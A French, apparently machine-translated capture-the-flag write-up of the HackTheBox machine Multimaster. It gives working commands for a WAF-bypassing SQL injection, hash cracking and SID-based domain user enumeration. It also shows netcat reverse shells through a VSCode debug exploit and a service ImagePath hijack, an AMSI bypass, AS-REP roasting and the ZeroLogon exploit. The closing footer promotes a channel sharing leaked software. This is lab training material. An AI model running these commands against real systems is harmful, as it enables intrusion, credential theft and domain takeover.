Salut, Ralph est avec toi. Je continue à publier des solutions envoyées à la finalisation des machines depuis le site HackTheBox .
Il y a beaucoup de choses dans cet article. Voyons comment combiner Burp Suite et sqlmap pour plus de commodité, apprendre à obtenir des utilisateurs de domaine un accès à MSSQL, exploiter une vulnérabilité dans Visual Studio Code, bloquer AMSI, effectuer une torréfaction AS-REP pour obtenir des informations d'identification et augmenter les privilèges du groupe Opérateurs de serveur. Et comme démonstration de la nouvelle vulnérabilité ZeroLogon, nous capturerons la même machine d'une manière différente en moins de 5 minutes.
La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il existe des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.
Informations organisationnelles
Reconnaître
Cette machine a une adresse IP de 10.10.10.179, que j'ajoute à / etc / hosts.
10.10.10.179 multimaster.htb
La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179 --rate=500
De nombreux ports sont ouverts sur l'hôte. Maintenant, analysons-les avec nmap pour filtrer et sélectionner ceux dont nous avons besoin.
nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389
Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.
nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389
Avec SMB et LDAP, rien ne peut être fait, voyons le Web.
Le site dispose d'une autorisation, ainsi que d'un formulaire de recherche.
De plus, la recherche fonctionne par entrée.
Ainsi, nous pouvons supposer que l'opérateur LIKE est utilisé dans la requête SQL. Par conséquent, vous pouvez essayer d'afficher tous les enregistrements.
Il s'avère que nous avons une injection SQL.
Mais au moins quelque chose ne fonctionne pas. Apparemment, WAF est utilisé.
Mais il s'est avéré être contourné en utilisant l'encodage Unicode.
Et nous trouvons le nombre de colonnes.
Donc l'injection est de 100%.
Sqlmap + Suite Burp
Afin de travailler facilement avec la base de données, nous utilisons sqlmap. Nous connaissons la méthode de codage et le SGBD - nous le refléterons dans les paramètres. Nous enregistrerons également la requête de Burp Suite dans un fichier et spécifierons sa sqlmap. Définissons l'utilisateur sous lequel les demandes sont effectuées.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user
Et malheureusement, nous avons obtenu la même réponse sans utiliser de codage. Poinçons Burp comme proxy pour sqlmap. Et pour ne pas perdre de temps, nous vous indiquerons la technique d'injection de code basée sur l'Union (paramètre U).
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user
Nous interceptons les requêtes dans burp, et nous voyons un affichage légèrement différent de l'encodage.
Vérifions si cela fonctionne. Encodons ainsi la charge que nous connaissons déjà.
Et ça ne marche pas. Nous devons donc changer l'affichage de l'encodage. Cela peut être fait en utilisant Burp. Allons à l'onglet Proxy -> options et à la section Match and Replace.
Ajoutons une règle qui changera% u en \ u dans le corps de la requête.
Et assurez-vous qu'il est actif.
Maintenant, exécutons à nouveau sqlmap.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user
Dans Burp, nous voyons une requête déjà corrigée.
Autoriser la transmission de toutes les demandes. Et dans sqlmap, nous obtenons le nom de l'utilisateur actuel.
Mais encore une fois, nous voyons une erreur. Apparemment WAF. Ajoutons un délai de 3 secondes et découvrons les privilèges.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges
Il n'y a rien que nous puissions faire. Découvrons les bases de données.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs
Voyons les tables de Hub_DB.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables
Exactement ce qu'il faut. Table des connexions. Extrayons-en toutes les données.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump
Et donc, nous avons des utilisateurs et des hachages de mots de passe. Les 4 hachages différents sont présents ici. Découvrons lesquels.
Nous allons maintenant découvrir les modes de hachage sur lesquels nous allons itérer.
Il existe trois modes au total. Et en utilisant ce dernier, nous cassons trois hachages.
hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt
Mais ces hachages ne conviennent pas pour SMB. Creuser plus loin.
UTILISATEUR
Le fait que nous puissions obtenir des données de MSSQL nous donne la possibilité d'obtenir des utilisateurs de domaine. Maintenant, je vais vous montrer comment faire. Tout d'abord, nous devons obtenir le nom de domaine.
Et maintenant, nous devons découvrir son SID. Nous pouvons obtenir le SID du domaine en trouvant le SID de n'importe quel objet de domaine et en supprimant le RID de celui-ci. Tout domaine a un groupe Administrateurs de domaine. Cela nous permet de préexister dans l'objet de domaine. Découvrons son SID.
Donc, il est encodé. Pour l'afficher normalement, nous utilisons la fonction sys.fn_varbintohexstr.
Et nous obtenons le SID de cet objet. De plus, l'idée est la suivante: nous obtenons le SID du domaine et en remplaçant différents RID, nous obtenons les noms d'utilisateur par le SID existant. Par exemple, le RID de l'administrateur est 500.
À partir du SID reçu, prenez les 48 premiers octets.
Et ajoutez à la fin, RID - 500 (n'oubliez pas de le retourner).
Et maintenant, nous allons obtenir le nom du compte par notre SID.
Puisque cela fonctionne, récupérons les objets du domaine. Pour l'itération, j'utilise Burp Intruder.
Après avoir envoyé une requête à Intruder, nous allouons à nos variables 4 octets. Ensuite, vous devez générer ces variables de 4 octets.
for i in range(1100, 9100,1000):
for j in range(50):
h = hex(i+j)[2:].rjust(4,'0')
SID = ""
for c in (h[2:]+h[:2]):
SID += "0x" + hex(ord(c))[2:]
print(SID)
Nous sauvegardons le résultat dans un fichier et le pointons vers Burp.
Désactivez également le codage d'URL et remplacez tous les 0x par \ u00.
Rappelez-vous à propos de WAF, nous mettons un flux et et le délai entre les demandes.
Nous lançons une attaque, trions par longueur de réponse et observons de nombreux objets.
Sélectionnez tous les utilisateurs et enregistrez-les dans un fichier. Nous avons également trois mots de passe. Nous itérons sur SMB et trouvons la bonne paire.
Nous nous connectons à WinRM et nous sommes dans le système.
UTILISATEUR2
Une fois dans le système, nous effectuons une reconnaissance. Je fais cela en utilisant winPEAS. Nous la chargeons sur la machine et la lançons. Ils n'y trouvèrent rien d'intéressant.
Alors allons sur le chemin difficile. Nous devons obtenir autant de références que possible. Commençons par les noms d'utilisateurs présents sur le système.
Nous nous sauvegardons tous dans un fichier. Mais où pouvons-nous trouver un mot de passe? Le serveur utilise des bases de données et vous avez besoin d'un mot de passe pour vous y connecter. Essayons de l'obtenir.
Mais nous n'avons pas de droits sur le répertoire du serveur Web. Ne sachant pas quoi faire, la position du logiciel utilisé sur le serveur n'était pas fermée sur ma liste. Regardons la liste des processus.
Et VSCode attire le regard.
Ainsi, Visual Studio Code 1.37.1 s'exécute sur le serveur. Et il a des vulnérabilités qui permettent l'exécution de code!
Comme suit d'ici :
Une vulnérabilité d'élévation de privilège existe dans Visual Studio Code lorsqu'il expose un écouteur de débogage aux utilisateurs d'un ordinateur local.
Un attaquant pourrait injecter du code arbitraire à exécuter dans le contexte de l'utilisateur actuel pour ce faire, il doit déterminer sur quel port Visual Studio Code écoute. Nous pouvons utiliser cefdebug pour nous connecter au port VSCode .
Trouvons le port d'écoute.
Super, il y a un tel port. Exécutons le code dans le contexte du processus VSCode. Exécutons un shell backconnect en utilisant nc.
.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"
Et nous voyons une connexion réussie.
Nous allons dans notre annuaire.
De tout ce qui est présenté, l'API est du plus grand intérêt. Téléchargeons-le.
Je suis allé sur Windows et j'ai vérifié dans quoi la bibliothèque était écrite.
C'est C #, donc nous pouvons décompiler le projet. J'utilise dnSpy.
Et dans le code source, nous trouvons le mot de passe. Mais pour savoir de quel utilisateur il s'agit, nous utilisons des connexions par force brute (Password Spraying). J'utilise CrackMapExec.
cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"
Et nous prenons un utilisateur de plus
UTILISATEUR3
Lorsque vous essayez de télécharger et d'utiliser un outil de renseignement, nous sommes bloqués par AMSI. Correctifions-le avec Invoke-AlokS-AvBypass .
Maintenant, téléchargez en toute sécurité sharphound sur l'hôte.
Et après le démarrage, nous observons l'archive.
Maintenant, nous le téléchargeons sur l'hôte local et le déposons dans le limier. Ensuite, dans Requêtes, sélectionnez Chemins les plus courts vers des cibles de grande valeur.
En creusant dans le graphique, nous déterminons la relation entre l'utilisateur sous notre contrôle et un autre utilisateur du domaine.
Obtenons les informations de communication.
Ainsi, nous pouvons obtenir un hachage du mot de passe de l'utilisateur (le processus lui-même a déjà été décrit dans deux écritures similaires). Nous activons la propriété - ne nécessitent pas de pré-authentification Kerberos.
Et nous exécuterons la demande.
Copiez le hachage et cassez-le à l'aide de hashcat.
hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt
Nous obtenons le mot de passe de l'utilisateur. Et nous y passons avec succès.
RACINE
Après avoir reçu des informations sur l'utilisateur, nous remarquons qu'il est membre du groupe des opérateurs de serveur.
Les membres de ce groupe peuvent configurer et exécuter des services (et les services dans Windows s'exécutent au nom de SYSTEM). Cela se fait généralement via SensorDataService.
Changeons let en exécutable en commande backconnect en utilisant netcat.
reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f
Et après le démarrage du service, nous observons une connexion au port 4321.
sc.exe start SensorDataService
Nous sommes SYSTEM.
CVE-2020-1472
Et maintenant, pour la démonstration, essayons de capturer immédiatement un contrôleur de domaine, même sans point d'entrée ni support. Pour ce faire, nous utilisons la vulnérabilité récemment notoire ZeroLogon (CVE-2020-1472).
Fondamentalement, la vulnérabilité de CVE-2020-1472 réside dans l'imperfection du schéma d'authentification cryptographique Netlogon Remote Protocol. Ce protocole est utilisé pour authentifier les utilisateurs et les machines dans les réseaux basés sur un domaine. En particulier, Netlogon est également utilisé pour mettre à jour à distance les mots de passe des ordinateurs. La vulnérabilité pourrait permettre à un attaquant de se faire passer pour un ordinateur client et de réinitialiser un mot de passe de contrôleur de domaine.
Pour le test, essayons de demander la réplication des informations d'identification avec le hachage 31d6cfe0d16ae931b73c59d7e0c089c0 (mot de passe vide).
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
Utilisons maintenant l' exploit .
CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179
Nous sommes informés que l'attaque a réussi. Demander à nouveau la réplication des informations d'identification. Et nous les obtenons.
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'
Et avec le hachage administrateur, nous pouvons nous connecter via WinRM.
En particulier, voici comment vous pouvez capturer un contrôleur de domaine basé sur:
- toutes les versions de Windows Server 2019, Windows Server 2016;
- Toutes les variantes de Windows Server, version 1909
- Windows Server, version 1903
- Windows Server, version 1809 (centre de données, standard)
- Windows Server 2012 R2
- Windows Server 2012
- Service Pack 1 de Windows Server 2008 R2.
Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.